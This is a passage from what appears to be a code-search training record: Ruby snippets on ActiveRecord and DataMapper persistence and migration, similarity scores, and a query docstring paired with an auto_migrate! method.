normalize!\n normalize\n save\n end", "def test_model_stored\r\n model=Model[1]\r\n assert_equal(@mymodel, model)\r\n \r\n newmodel = Model.new(2, 'short term') \r\n assert_equal(Model[2], newmodel)\r\n Model.delete(newmodel)\r\n\r\n begin\r\n Model[newmodel.ident]\r\n assert(false)\r\n rescue EvidenceError\r\n assert(true)\r\n end\r\n end", "def activerecord_persist\n record.save(validate: false)\n end", "def migrate!(opts)\n raise NotSupportedError, \"Unable to migrate using `#{self}`\"\n end", "def migrate_current_entities_and_checks\n\n current_entity_names = @source_redis.zrange('current_entities', 0, -1)\n\n current_entity_names.each do |entity_name|\n entity = find_entity(:name => entity_name)\n entity.enabled = true\n entity.save\n end\n\n current_checks_keys = @source_redis.keys('current_checks:*')\n\n current_checks_keys.each do |current_checks_key|\n\n raise \"Bad regex\" unless current_checks_key =~ /\\Acurrent_checks:(#{ENTITY_PATTERN_FRAGMENT})\\z/\n\n entity_name = $1\n\n check_names = @source_redis.zrange(current_checks_key, 0, -1)\n\n check_names.each do |check_name|\n check = find_or_create_check(entity_name, check_name)\n check.enabled = true\n check.save\n end\n\n end\n\nend", "def persisted?; end", "def persisted?; end", "def migrate_data!\n return false if !self.data\n\n js = JSON.parse(self.data)\n return false if !js\n\n self.name = js.delete(\"Name\")\n self.notes = js.delete(\"Notes\")\n self.fields = js.delete(\"Fields\")\n\n if self.type == TYPE_LOGIN\n js[\"Uris\"] = [\n { \"Uri\" => js[\"Uri\"], \"Match\" => nil },\n ]\n js.delete(\"Uri\")\n end\n\n # move the remaining fields into the new dedicated field based on the type\n fmap = {\n TYPE_LOGIN => \"login\",\n TYPE_NOTE => \"securenote\",\n TYPE_CARD => \"card\",\n TYPE_IDENTITY => \"identity\",\n }\n self.send(\"#{fmap[self.type]}=\", js)\n\n self.save || raise(\"failed migrating #{self.inspect}\")\n true\n end", "def auto_migrate!\n DataMapper.auto_migrate!(name)\n end", "def check_and_save(data)\n\n begin\n data.save!\n data\n rescue ActiveRecord::RecordInvalid\n data = data.refresh!\n data\n end\n \n end", "def migrate?\n raise NotImplementedError\n end", "def sync! # semi-public.\n source = deprecate_potential_readers_used_in_sync_or_save(fields) # TODO: remove in 1.1.\n\n input_representer = mapper.new(source).extend(InputRepresenter) # FIXME: take values from self.fields!\n\n input = input_representer.to_hash\n\n mapper.new(aliased_model).extend(Writer).from_hash(input)\n end", "def _sync\n # Reset the stash map to ensure that it's reset before the next\n # transaction is being started.\n @_stash_map = nil\n\n db_obj = {\n 'class_id' => @store.class_map.class_to_id(self.class.to_s),\n 'data' => _serialize\n }\n @store.db.put_object(db_obj, @_id)\n end", "def persist; end", "def persist; end", "def persist; end", "def persisted?; false; end", "def flag_for_upgrade!\n self.upgrade_needed = true\n save(:validate => false)\n end", "def recreate_from(obj)\n keys = self.key_column_names\n args = {}\n if obj.respond_to?(:enterprise_id) and obj.respond_to?(:uid)\n args[keys.delete(:enterprise_id)] = obj.enterprise_id\n if keys.length == 1\n args[keys.first] = obj.uid\n self.get_cached(args)\n else\n puts keys.to_a.to_s\n raise NotImplementedError, 'See octocore/models.rb'\n end\n end\n end", "def staging\n raise InvalidDbError if @stale\n super\n end", "def auto_upgrade!(repository_name = self.repository_name)\n assert_valid\n if base_model == self\n repository(repository_name).upgrade_model_storage(self)\n else\n base_model.auto_upgrade!(repository_name)\n end\n end", "def upgrade_model_storage(repository, model)\n add_sequences(repository, model)\n super\n end", "def migratevm_datastore=(value)\n Puppet.notice \"A Virtual Machine is being migrated from datastore '#{get_vm_ds}' to '#{value}'.\"\n begin\n ds_view = get_ds_view(value)\n raise Puppet::Error, \"Unable to find the target datastore '#{value}' because the target datastore is either invalid or does not exist.\" unless ds_view\n relocate_vm(:ds_view => ds_view)\n rescue Exception => e\n fail \"Unable to perform the Virtual Machine migration operation because of the following error:\\n #{e.message}\"\n end\n\n end", "def to_persistent!(existing = nil)\n if existing\n self.id = existing.id\n self.created_at = existing.created_at if respond_to?(:created_at)\n self.updated_at = existing.updated_at if respond_to?(:updated_at)\n\n clear_changes_information\n else\n restore_before_to_new_record_values\n\n clear_attribute_change(:created_at) if respond_to?(:created_at)\n clear_attribute_change(:updated_at) if respond_to?(:updated_at)\n end\n @new_record = false\n true\n end", "def sync\n model_ids_that_exist = []\n\n @model.all.each do |db_task|\n model_ids_that_exist << db_task.id\n \n if !event_exists_for_task(db_task) || task_has_changed(db_task)\n recreate_event_for_database_task(db_task)\n end\n end\n\n remove_deleted_database_tasks(model_ids_that_exist)\n end", "def sneaky_save!\n sneaky_create_or_update\n end", "def make_store_unknown\n self.store_id = nil\n save!\n end", "def auto_migrate_up!(repository_name = self.repository_name)\n assert_valid\n if base_model == self\n repository(repository_name).create_model_storage(self)\n else\n base_model.auto_migrate_up!(repository_name)\n end\n end", "def persist\n prepare do\n unless updates.empty?\n collection.find(selector).update(updates)\n conflicts.each_pair do |key, value|\n collection.find(selector).update({ key => value })\n end\n end\n end\n end", "def persists_state_via_data_import?\n false\n end", "def to_new_record!\n store_before_to_new_record_values\n reset_persistence_values\n @new_record = true\n end", "def migrate(data)\n keys = I18n::Translate.hash_to_keys(data, @translate.options[:separator])\n keys.each do |key|\n entry = I18n::Translate.find(key, data, @translate.options[:separator])\n next unless I18n::Translate.is_enhanced?(entry)\n %w(old t).each do |prop|\n next unless entry[prop]\n value = entry.delete(prop)\n prop = case(prop)\n when \"old\"\n \"old_default\"\n when \"t\"\n \"translation\"\n end\n entry[prop] = value\n end\n I18n::Translate.set(key, entry, data, @translate.options[:separator])\n end\n data\n end", "def persisted\n available.reject(&:new_record?)\n end", "def update_model(model, record)\n raise_must_override\n end", "def touch\n self.updated_at = Time.zone.now\n skip_versioning_and_timestamps\n save :validate => false\n end", "def alter_model_storage(repository, *args)\n raise NotImplementedError\n end", "def persisted? ; false ; end", "def run\n # Ensure this is never run with a dirty in-memory shard cache\n ::Switchman::Shard.clear_cache\n migrate_strands\n migrate_everything\n end", "def reload\n model = self.class.find(to_remote)\n\n if model.errors?\n add_errors(model.errors)\n else\n copy_from(model)\n persist!\n end\n\n self\n end", "def reset_persistence_values\n self.id = nil\n\n if respond_to?(:updated_at=)\n self.updated_at = nil\n self.updated_at_will_change!\n end\n\n if respond_to?(:created_at=)\n self.created_at = nil\n self.created_at_will_change!\n end\n\n # mark all other attributes is changing\n (attributes.keys - changes.keys).each{ |key| self.send(:\"#{key}_will_change!\") }\n end", "def sneaky_save!(avoid_insert_conflict: nil)\n sneaky_create_or_update(avoid_insert_conflict: avoid_insert_conflict)\n end", "def migrate!\n Migrator.migrate(name)\n end", "def migrate!\n Migrator.migrate(name)\n end", "def alter_model_storage(repository, *args)\n raise NotImplementedError\n end", "def flush_db\n [ 'active_sources', 'data_records', 'semantic_properties', 'semantic_relations', 'workflows'].reverse.each { |f| ActiveRecord::Base.connection.execute \"DELETE FROM #{f}\" }\n # Also remove the \"unsaved cache\" for the wrappers (may be important during testing)\n TaliaCore::SemanticCollectionWrapper.instance_variable_set(:'@unsaved_source_cache', {})\n end", "def revert\n\t\tself.clear_caches\n\t\t@dirty = false\n\n\t\treturn true\n\tend", "def migratevm_host_datastore\n begin\n source_host = vm.runtime.host.name\n source_datastore = vm.storage.perDatastoreUsage[0].datastore.name\n source = source_host, source_datastore\n end\n rescue Exception => e\n fail e.message\n end", "def convert_to(klass)\n #if !self.instance_of?(klass)\n adapted_object = self.adapt_to(klass)\n\n adapted_object.relationships.each_statement do |statement|\n if statement.predicate == \"info:fedora/fedora-system:def/model#hasModel\"\n adapted_object.remove_relationship(:has_model, statement.object)\n #puts statement.object\n end\n end\n\n adapted_object.assert_content_model\n adapted_object.save\n adapted_object\n #end\n\n end", "def save_self(safe = true)\n super && embedments.values.each do |e|\n e.loaded?(self) && Array(e.get!(self)).each { |r| r.original_attributes.clear }\n end\n end", "def post_process_model(model)\n model.mark_synced!\n end", "def persisted?\n false\n end", "def sync\n object.save\n end", "def restore\r\n self.update(deleted: false)\r\n end", "def persisted? ; false ; end", "def sync\n model_ids_that_exist = []\n\n @model_class.all.each do |model|\n model_ids_that_exist << model.id\n if are_different?(@database_event_registry.event_for(model), model)\n create_or_recreate_event(model)\n end\n end\n @database_event_registry.unregister_all_except(model_ids_that_exist)\n end", "def safe_save(dmp:)\n dmp.project = safe_save_project(project: dmp.project)\n dmp.contributors_data_management_plans = dmp.contributors_data_management_plans.map do |cdmp|\n safe_save_contributor_data_management_plan(cdmp: cdmp)\n end\n dmp.datasets = safe_save_datasets(datasets: dmp.datasets)\n dmp.save\n dmp.reload\n end", "def store\n Model.model_store.store(self)\n end", "def auto_migrate_down!(repository_name = self.repository_name)\n assert_valid\n if base_model == self\n repository(repository_name).destroy_model_storage(self)\n else\n base_model.auto_migrate_down!(repository_name)\n end\n end", "def pass_through_persist\n super\n end", "def migrate!\n @logger.fine('Dropping schema...')\n\n migrate(0) # migrate to version 0.\n migrate # migrate to latest version.\n end", "def force_save!\n @force_save = true\n end", "def sync_local_model_status(model, record)\n true\n end", "def migrate_from(old_instance)\n @x = old_instance.instance_variable_get :@x\n @y = @x * 3\n @migrated = true\n end", "def preprocess_and_save\n process_attrs_before_write(self)\n return self.save()\n end", "def preprocess_and_save\n process_attrs_before_write(self)\n return self.save()\n end", "def sneaky_update\n\n # Handle no changes.\n return true if changes.empty?\n\n # Here we have changes --> save them.\n pk = self.class.primary_key\n original_id = changed_attributes.has_key?(pk) ? changes[pk].first : send(pk)\n !self.class.where(pk => original_id).update_all(attributes).zero?\n end", "def sneaky_save(avoid_insert_conflict: nil)\n begin\n sneaky_create_or_update(avoid_insert_conflict: avoid_insert_conflict)\n rescue ActiveRecord::StatementInvalid\n false\n end\n end", "def silent_save\n if self.class.find(self.id)\n update\n else\n insert\n end\n end", "def repair!\n update!\n end", "def revert!\n track_changes_save = self.class.track_changes_save\n self.class.track_changes_save = false\n self.transaction do\n content_versions.each do | c |\n if c.content.version == c.version\n c.content.revert_to(c)\n end\n end\n content_key_versions.each do | c |\n if c.content_key.version == c.version\n c.content_key.revert_to(c)\n end\n end\n end\n ensure \n self.class.track_changes = track_changes_save\n end", "def persisted?\n false\n end", "def persisted?\n false\n end", "def persisted?\n false\n end", "def persisted?\n false\n end", "def persisted?\n false\n end", "def persisted?\n false\n end", "def persisted?\n false\n end", "def persisted?\n false\n end", "def persisted?\n false\n end", "def persisted?\n false\n end", "def persisted?\n false\n end", "def persisted?\n false\n end", "def persisted?\n false\n end", "def persisted?\n false\n end", "def persisted?\n false\n end", "def persisted?\n false\n end" ]
[ "0.6307694", "0.63037676", "0.620898", "0.6188834", "0.61647195", "0.61413324", "0.6119254", "0.60771936", "0.60033345", "0.5944799", "0.5919913", "0.58834183", "0.58770525", "0.5819666", "0.5819666", "0.5788523", "0.57559085", "0.5741714", "0.57062846", "0.57022655", "0.57022655", "0.56615597", "0.5653512", "0.5649744", "0.5615767", "0.5601352", "0.55849385", "0.55771536", "0.55771536", "0.55771536", "0.55558586", "0.5548519", "0.5543787", "0.55309933", "0.5526912", "0.55193454", "0.55154645", "0.5484434", "0.5473149", "0.5472043", "0.54668087", "0.54549927", "0.5445709", "0.5442331", "0.54410905", "0.5433972", "0.5430515", "0.54094625", "0.5401566", "0.53991634", "0.5394864", "0.5383943", "0.53760076", "0.537155", "0.5366266", "0.53304285", "0.53303576", "0.53223234", "0.53167015", "0.5316652", "0.5304469", "0.52996594", "0.52931505", "0.5287868", "0.52805007", "0.5279403", "0.527902", "0.52782273", "0.52753955", "0.5270199", "0.52665174", "0.52656966", "0.52530146", "0.52526534", "0.52419364", "0.52258074", "0.52257", "0.5224622", "0.5222483", "0.52212846", "0.5209217", "0.52080655", "0.5206305", "0.5204691", "0.51996607", "0.51996607", "0.51996607", "0.51996607", "0.51996607", "0.51996607", "0.51996607", "0.51996607", "0.51996607", "0.51996607", "0.51996607", "0.51996607", "0.51996607", "0.51996607", "0.51996607", "0.51996607" ]
0.56488395
24
Destructively automigrates the datastore to match the model REPEAT: THIS IS DESTRUCTIVE
def auto_migrate!(repository_name = self.repository_name) assert_valid auto_migrate_down!(repository_name) auto_migrate_up!(repository_name) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def migrate_entities\n\n entity_keys = @source_redis.keys('entity:*')\n\n entity_keys.each do |entity_key|\n\n # TODO fix regex, check current code\n raise \"Bad regex for '#{entity_key}'\" unless entity_key =~ /\\Aentity:(#{ID_PATTERN_FRAGMENT})\\z/\n\n entity_id = $1\n\n entity_name = @source_redis.hget(entity_key, 'name')\n\n entity = Flapjack::Data::Entity.new(:id => entity_id, :name => entity_name)\n entity.save\n raise entity.errors.full_messages.join(\", \") unless entity.persisted?\n end\n\nend", "def autorestore; end", "def test_model_stored\r\n model=Model[1]\r\n assert_equal(@mymodel, model)\r\n \r\n newmodel = Model.new(2, 'short term') \r\n assert_equal(Model[2], newmodel)\r\n Model.delete(newmodel)\r\n\r\n begin\r\n Model[newmodel.ident]\r\n assert(false)\r\n rescue EvidenceError\r\n assert(true)\r\n end\r\n end", "def recreate_from(obj)\n keys = self.key_column_names\n args = {}\n if obj.respond_to?(:enterprise_id) and obj.respond_to?(:uid)\n args[keys.delete(:enterprise_id)] = obj.enterprise_id\n if keys.length == 1\n args[keys.first] = obj.uid\n self.get_cached(args)\n else\n puts keys.to_a.to_s\n raise NotImplementedError, 'See octocore/models.rb'\n end\n end\n end", "def recycle\n self.demolish\n self.build\n\n true\n end", "def rekey_as_needed; end", "def generate_from_collection(model, items, parent_key, parent_id, poly_in)\n model_table = model.to_s.gsub(/::/, \"_\").tableize\n insert_string = \"INSERT INTO \" << model_table << \"(\"\n\n # map mongo types to sql\n sql_types = {\"String\"=>\"text\", \"BSON::ObjectId\"=>\"primary_key\", \"Time\"=>\"time\", \"Object\"=>\"integer\", \"Array\"=>\"text\", \"Integer\"=>\"integer\", \"string\"=>\"text\", \"DateTime\"=>\"datetime\", \"Date\"=>\"date\", \"Hash\"=>\"text\", \"Boolean\"=>\"boolean\", \"Float\"=>\"float\"}\n ignored_fields = ['_type', \"_keywords\"]\n\n # maintain list of fields you either want renamed or if you want them skipped by all transforms include them here\n renamed_fields = {\"_id\" => \"mongo_id\"}\n\n # hash of habtm relations from your schema - make sure the key is alpha before the value\n habtm = {'AlphaTable' => 'BetaTable'}\n\n # user mongoid to figure out relationships we need to iterate over\n relations_in = model.relations.select {|key,value| value[:relation]==Mongoid::Relations::Embedded::Many}\n single_in = model.relations.select {|key,value| value[:relation]==Mongoid::Relations::Embedded::One}\n items.each_with_index do |obj, i|\n id_to_use_next = @@id_counter[model_table] || 100000\n @@id_counter[model_table] = id_to_use_next+1 # hash to keep track of postgres id sequences\n obj_hash = {}\n obj_id = \"\"\n postgres_obj_id = \"\"\n model.fields.each do |field|\n next if ignored_fields.include?(field.first) or field.first.end_with?(\"_ids\")\n field_name = field.first\n\n val = obj.send(field.first.to_sym)\n val = val.to_s if val.is_a?(BSON::ObjectId)\n # serialize hashes & arrays\n if val.is_a?(BSON::OrderedHash)\n val = val.to_h.to_yaml\n elsif val.is_a?(Array)\n val = val.map {|v| v.is_a?(BSON::OrderedHash) ? v.to_h : v }\n val = val.to_yaml\n elsif val.is_a?(Hash)\n val = val.to_yaml\n end\n\n # clean up any apostrophes\n val = val.gsub(/'/, \"''\") unless val.nil? || !val.is_a?(String)\n val = val.to_time.utc if val.present? && ([DateTime, Date, Time].include?(field[1].options[:type]))\n val = '' if val.nil? && (field[1].options[:type] == Time || field[1].options[:type] == DateTime || field[1].options[:type] == Date)\n\n if renamed_fields.include?(field_name)\n field_name = renamed_fields[field_name]\n elsif field_name==\"number\" # we were using a number field for user facing 'id'\n field_name = \"id\"\n elsif field_name.end_with?(\"_id\")\n if val.blank?\n obj_hash[field_name] = \"\"\n else\n # throw in placeholder values with the bson id\n obj_hash[field_name] = \"#{val}_placeholder\"\n field_name = \"mongo_#{field_name.to_s.gsub(/::/, \"_\").downcase}\"\n @@id_indexed[\"#{val}_placeholder\"] << @@lines.count\n @@all_objects[\"#{val}_placeholder\"] = field_name\n end\n end\n obj_id = val if field_name==\"mongo_id\"\n postgres_obj_id = val if field_name==\"id\"\n obj_hash[field_name] = val\n end\n if poly_in # do polymorphic foreign keys\n obj_hash[\"mongo_#{poly_in}_id\"] = parent_id\n obj_hash[\"#{poly_in}_type\"] = parent_key.classify\n obj_hash[\"#{poly_in}_id\"] = \"#{parent_id}_placeholder\"\n @@all_objects[\"#{parent_id}_placeholder\"] = parent_key.classify\n @@id_indexed[\"#{parent_id}_placeholder\"] << @@lines.count\n elsif !parent_key.nil?\n obj_hash[\"mongo_#{parent_key.to_sym}_id\"] = parent_id\n obj_hash[\"#{parent_key.to_sym}_id\"] = \"#{parent_id}_placeholder\"\n @@all_objects[\"#{parent_id}_placeholder\"] = parent_key.classify\n @@id_indexed[\"#{parent_id}_placeholder\"] << @@lines.count\n end\n if postgres_obj_id.blank?\n postgres_obj_id = id_to_use_next\n obj_hash[\"id\"] = postgres_obj_id\n end\n @@id_hash[(\"#{obj_id}_placeholder\")] = postgres_obj_id.to_s\n\n # create sql from array of hashes\n insert_sql(insert_string, obj_hash)\n\n # HABTM\n target=habtm[model.to_s]\n if target\n habtm_collection = obj.send(\"#{target.downcase}_ids\")\n if habtm.size>0\n habtm_obj_hash = Hash.new\n habtm_collection.each do |target_obj|\n habtm_obj_hash[\"mongo_#{target.downcase}_id\"] = target_obj.to_s\n habtm_obj_hash[\"#{target.downcase}_id\"] = \"#{target_obj.to_s}_placeholder\"\n habtm_obj_hash[\"mongo_#{model.to_s.downcase}_id\"] = obj._id\n habtm_obj_hash[\"#{model.to_s.downcase}_id\"] = postgres_obj_id\n @@id_indexed[\"#{target_obj.to_s}_placeholder\"] << @@lines.count\n insert_sql(\"INSERT INTO #{model_table}_#{target.to_s.gsub(/::/, \"_\").tableize} (\", habtm_obj_hash)\n end\n end\n end\n single_in.each do |key, embedded|\n poly_as = embedded[:as] unless embedded[:as].blank?\n embed_collection = obj.send(key.to_sym)\n next if embed_collection.blank?\n generate_from_collection(embed_collection.class, [embed_collection], embedded[:inverse_class_name].to_s.gsub(/::/, \"_\").downcase, obj_id, poly_as) << \"\\n\\r\" unless embed_collection.blank?\n end\n relations_in.each do |key, embedded|\n poly_as = embedded[:as] unless embedded[:as].blank?\n embed_collection = obj.send(key.to_sym)\n generate_from_collection(embed_collection.first.class, embed_collection, embedded[:inverse_class_name].to_s.gsub(/::/, \"_\").downcase, obj_id, poly_as) << \"\\n\\r\" unless embed_collection.blank?\n end\n end\n end", "def populate\n\n end", "def migrate_model(pg_model, mongo_model, transform = nil)\n attributes = pg_model.attribute_names\n ActiveRecord::Base.transaction do\n mongo_model.collection.find.batch_size(100).each do |obj|\n pg_attrs = obj.slice(*attributes)\n\n # If a model specific transform is required, do it here\n pg_attrs = transform.call(pg_attrs) if transform.present?\n\n pg_model.create! pg_attrs\n end\n\n if pg_model.count != mongo_model.count\n raise \"PG and Mongo counts are in disagreement; aborting\"\n end\n end\n\n puts \"#{pg_model.count} migrated to pg\"\nend", "def redisize_model_metas metakey, model_name, attrs, key\n # binding.pry\n drop_key(metakey)\n drop_key(metakey[0..1])\n parse_instance_attrs(model_name, attrs, key)\n assign_reverse_key(metakey, key)\n end", "def deredisize_model\n Redisable.enqueue(:deredisize_model_metas, self.model_name.name)\n end", "def prepareForReuse; end", "def build_models_from_kefed\n yogo_model.measurements.each do |measurement_uid, measurement|\n collection_opts = {:id => measurement_uid}\n \n kollection = self.data_collections.first_or_new(collection_opts)\n \n if Crux::YogoModel.is_asset_measurement?(measurement)\n collection_opts[:type] = 'Yogo::Collection::Asset'\n end\n \n collection_opts[:name] = measurement['label']\n kollection.attributes = collection_opts\n kollection.save\n\n yogo_model.measurement_parameters(measurement_uid).each do |parameter|\n property = kollection.schema.first_or_new(:kefed_uid => parameter['uid'])\n attributes = { \n :name => parameter['label'], \n :type => Crux::YogoModel.legacy_type(parameter),\n :options => {:required => false},\n :kefed_uid => parameter['uid']\n }\n property[:type] = attributes[:type]\n # if property.class == Yogo::Collection::Property::Boolean\n # debugger\n # end\n property.attributes = attributes \n result = property.save unless property.new?\n end\n\n # clean up orphaned non-asset columns (this can cause data loss)\n # the orphaned non-asset column will have the same kefed_uid as the collection's id\n if(kollection.kind_of?(Yogo::Collection::Asset))\n orphan = kollection.schema.first(:kefed_uid => kollection.id.to_s.upcase)\n orphan.destroy if orphan\n end\n #debugger\n if kollection.save \n kollection.update_model\n else\n Rails.logger.info { \"Database Update Error: #{kollection.errors.inspect}\" }\n flash[:error] = \"The database was not successfully updated from the experimental design.\"\n end\n end\n end", "def use!(n=1)\n self.use(n)\n self.save\n end", "def make_and_model; end", "def migrate_current_entities_and_checks\n\n current_entity_names = @source_redis.zrange('current_entities', 0, -1)\n\n current_entity_names.each do |entity_name|\n entity = find_entity(:name => entity_name)\n entity.enabled = true\n entity.save\n end\n\n current_checks_keys = @source_redis.keys('current_checks:*')\n\n current_checks_keys.each do |current_checks_key|\n\n raise \"Bad regex\" unless current_checks_key =~ /\\Acurrent_checks:(#{ENTITY_PATTERN_FRAGMENT})\\z/\n\n entity_name = $1\n\n check_names = @source_redis.zrange(current_checks_key, 0, -1)\n\n check_names.each do |check_name|\n check = find_or_create_check(entity_name, check_name)\n check.enabled = true\n check.save\n end\n\n end\n\nend", "def before_save\n prepare_attributes\n find_song_groups!\n end", "def other_regenerate_actions\n return if disabled\n\n self.class.prev_latest_update = updated_at\n self.class.preload\n Rails.logger.info 'Reloading column definitions'\n implementation_class.reset_column_information\n Rails.logger.info 'Refreshing item types'\n Classification::GeneralSelection.item_types refresh: true\n end", "def reset_dynamic_models!\n @@dynamic_models.clear\n end", "def populate\n end", "def rebuild_model options = {}\n ActiveRecord::Base.connection.create_table :dummies, :force => true do |table|\n table.string :in_the_clear\n table.binary :secret\n table.binary :secret_key\n table.binary :secret_iv\n table.binary :segreto\n end\n rebuild_class options\nend", "def flush_db\n [ 'active_sources', 'data_records', 'semantic_properties', 'semantic_relations', 'workflows'].reverse.each { |f| ActiveRecord::Base.connection.execute \"DELETE FROM #{f}\" }\n # Also remove the \"unsaved cache\" for the wrappers (may be important during testing)\n TaliaCore::SemanticCollectionWrapper.instance_variable_set(:'@unsaved_source_cache', {})\n end", "def persist; end", "def persist; end", "def persist; end", "def reload(*)\n super.tap do\n @mutations_before_last_save = nil\n @mutations_from_database = nil\n end\n end", "def test_unflatten_model\r\n comm = @mymodel.commentary = 'should be able to recover'\r\n desc = @mymodel.description\r\n name = @mymodel.name\r\n ident = @mymodel.ident\r\n \r\n data = @mymodel.flatten_data\r\n Model.delete(@mymodel)\r\n\r\n seco = Model.model_from_data(data)\r\n\r\n assert_equal(ident, seco.ident) \r\n assert_equal(name, seco.name)\r\n assert_equal(desc, seco.description)\r\n assert_equal(comm, seco.commentary) \r\n \r\n end", "def use!\n self.used = true\n self.save\n end", "def complete_weak_set\n relation.weaker.each do |r|\n if relation_set(r).blank?\n t = relation_set.build :relation => r\n t._without_inverse = true\n t.save!\n end\n end\n end", "def retire\n self.class.transaction do\n self.reagent_ids = []\n self.device_ownership_ids = []\n self.lab_id = nil\n self.department_id = nil\n self.institute_id = nil\n self.approved = false\n self.joined = nil\n end\n end", "def PopulateProducts #Not used\n @@db_instant.PopulateProducts\n end", "def test_manipulate_databases\n number=1000\n relation_name = \"Dog\"\n relation_schema = {\"name\" => \"string\", \"race\" => \"string\", \"age\" => \"integer\"}\n values = {\"name\" => \"Bobby\", \"age\" => 2, \"race\"=> \"labrador\"}\n @dbids.each do |id|\n database(id).create_relation(relation_name,relation_schema)\n assert_equal(\"Dog\",database(id).relation_classes[\"Dog\"].table_name)\n end\n \n @dbids.each do |id|\n puts \"insert into db : #{id}\"\n\n (0..number).each do |i|\n count_values = {\"name\" => \"Bobby#{i}\", \"age\" => i, \"race\"=> \"labrador\"}\n database(id).relation_classes[\"Dog\"].insert(count_values)\n end\n assert_equal(number+1,database(id).relation_classes[\"Dog\"].all.size)\n\n end\n \n @dbids.each do |id|\n number_of_tuples_to_delete = rand(number)\n (1..number_of_tuples_to_delete).each do |i|\n database(id).relation_classes[\"Dog\"].delete(i)\n end\n assert_equal(number+1-number_of_tuples_to_delete,database(id).relation_classes[\"Dog\"].all.size)\n end\n \n end", "def flushdb; end", "def upgrade_model_storage(repository, model)\n add_sequences(repository, model)\n super\n end", "def generate_active_record(mdm_model, config)\n #do the code to create new classes based on model metadata\n #and load them up in the Ruby VM\n #below NOTE! Need table created first for AR\n #AR provides a #column_names method that returns an array of column names\n useconnection = nil\n mdm_model.mdm_objects.each do |mdm_object|\n klass = Class.new ActiveRecord::Base do\n #establish_connection(config)\n #AR to set the physical tablename\n before_save :diff_row\n self.table_name = mdm_object.name\n \n #below does composite keys!\n \n if mdm_object.mdm_primary_keys.size > 0\n pkeys = mdm_object.mdm_primary_keys.collect{|x| x.mdm_column.name.to_sym }\n self.primary_keys = pkeys\n @@pklist = pkeys\n puts \"-\" * 80\n puts mdm_object.name, pkeys.size\n end\n #note this is FK implementation\n # has_many :statuses, :class_name => 'MembershipStatus', :foreign_key => [:user_id, :group_id]\n\n def name\n \n end\n \n def diff_row\n #here we send changes out over to the queue\n #we need PK followed by row\n puts self.changes\n pkvals = {}\n changevals = {}\n self.class.primary_keys.each do |k|\n pkvals[k] = self.read_attribute(k)\n end\n changevals['colvals'] = self.changes\n changevals['pkeys'] = pkvals\n redis = Redis.new\n redis.publish(\"mdm:freemdm\", changevals.to_json)\n end\n end\n \n \n #NOTE will need some adjustments to fit legacy tables to AR\n Object.const_set mdm_object.name.capitalize, klass\n puts config.symbolize_keys\n klass.establish_connection(config.symbolize_keys) \n useconnection = klass.connection if !useconnection\n # eval(\"class #{klass.name}; attr_accessible *columns;end\")\n #\n generate_column_meta(klass)\n\n klass.connection.jdbc_connection.close\n end\n \n end", "def generate\n @store.save\n end", "def rebuild_pgindex!\n self.all.each { |model| model.rebuild_pgindex! }\n end", "def handle_save\n if self.valid? && !self.is_straightforward\n user = self.collection.user\n # user.default_collections = user.collections.includes(:games).limit(3)\n # Search default collections for the game\n user.default_collections\n user.default_collections.each do |collection|\n if collection.id == self.collection_id\n next\n else\n collection.games.each do |game|\n if game.id == self.game_id\n self.default_game_collection = CollectionGame.find_by(\n game_id: game.id,\n collection_id: collection.id)\n break\n end\n end\n end\n end\n # If the game is found in the defaults, and the target collection\n # is also default, destroy the previous association.\n if self.default_game_collection\n if user.default_collections.pluck(:id).include?(self.collection_id)\n default_game_collection.is_straightforward = true\n default_game_collection.destroy\n self.to_remove = default_game_collection.collection_id\n end\n #If the game is not yet in the defaults, and the target collection\n #is not a default, create a new association in the defaults\n elsif !user.default_collections.pluck(:id).include?(self.collection_id) &&\n !self.is_straightforward\n cg = CollectionGame.new(\n collection_id: user.default_collections[1].id,\n game_id: self.game_id)\n cg.save!\n self.to_add = user.default_collections[1].id\n end\n end\n\n\n\n end", "def update_junk\n\n #\n ##people = { 1 => { \"first_name\" => \"David\" }, 2 => { \"first_name\" => \"Jeremy\" } }\n ##PurchasesEntries.update(people.keys, people.values)\n #\n #\n #params[:purchase].each do |attributes|\n # logger.warn \"####################################### attributes: \" + attributes.inspect\n # g = \"g\"\n # #purchases_entry = @purchase.purchases_entries.detect {|pe| pe.id == attributes[1][0][:id] }\n # #\n # #@purchase.purchases_entries.each do |pe|\n # # if pe.id == attributes[1][0][:id]\n # #end\n #\n #\n # people = { 1 => { \"first_name\" => \"David\" }, 2 => { \"first_name\" => \"Jeremy\" } }\n # PurchasesEntries.update(people.keys, people.values)\n #\n #\n #\n # logger.warn \"####################################### purchases_entry.id \" + purchases_entry.id.to_s\n # purchases_entry_opposite_entry = purchases_entry.opposite_entry if purchases_entry.opposite_entry != false\n # purchases_entry.attributes = attributes\n # purchases_entry_opposite_entry.attributes = attributes if purchases_entry_opposite_entry\n # purchases_entry.save!(:validate=> false)\n # purchases_entry_opposite_entry.save(:validate=> false) if purchases_entry_opposite_entry\n #\n # purchases_entry.destroy if purchases_entry.QuantityOnOrder <= 0.0\n # if purchases_entry_opposite_entry\n # purchases_entry_opposite_entry.destroy if purchases_entry_opposite_entry.QuantityOnOrder <= 0.0\n # end\n # end\n #\n #\n #\n # delete_purchase_cache\n #\n\n\nend", "def migrate_contact_entity_linkages\n contacts_for_keys = @source_redis.keys('contacts_for:*')\n\n contacts_for_keys.each do |contacts_for_key|\n\n if contacts_for_key =~ /\\Acontacts_for:(#{ID_PATTERN_FRAGMENT})(?::(#{CHECK_PATTERN_FRAGMENT}))?\\z/\n\n entity_id = $1\n check_name = $2\n\n contact_ids = @source_redis.smembers(contacts_for_key)\n\n next if contact_ids.empty?\n\n contacts = contact_ids.collect do |contact_id|\n find_contact(contact_id)\n end\n\n entity = find_entity(:id => entity_id)\n\n if check_name.nil?\n # interested in entity\n entity.contacts.add(*contacts)\n else\n # interested in check\n check = find_or_create_check(entity.name, check_name)\n check.contacts.add(*contacts)\n end\n\n else\n raise \"Bad regex for '#{contacts_for_key}'\"\n end\n\n end\n\n entity_tag_keys = @source_redis.keys('entity_tag:*')\n\n entities_with_changed_tags = {}\n\n entity_tag_keys.each do |entity_tag_key|\n\n # TODO fix regex, check current code\n raise \"Bad regex for '#{entity_tag_key}'\" unless entity_tag_key =~ /\\Aentity_tag:(#{TAG_PATTERN_FRAGMENT})\\z/\n\n tag = $1\n\n entity_ids = @source_redis.smembers(entity_tag_key)\n\n entity_ids.each do |entity_id|\n\n entity = Flapjack::Data::Entity.find_by_id(entity_id)\n raise \"No entity with id #{entity_id}\" if entity.nil?\n entity.tags << tag\n entities_with_changed_tags[entity_id] = entity\n end\n 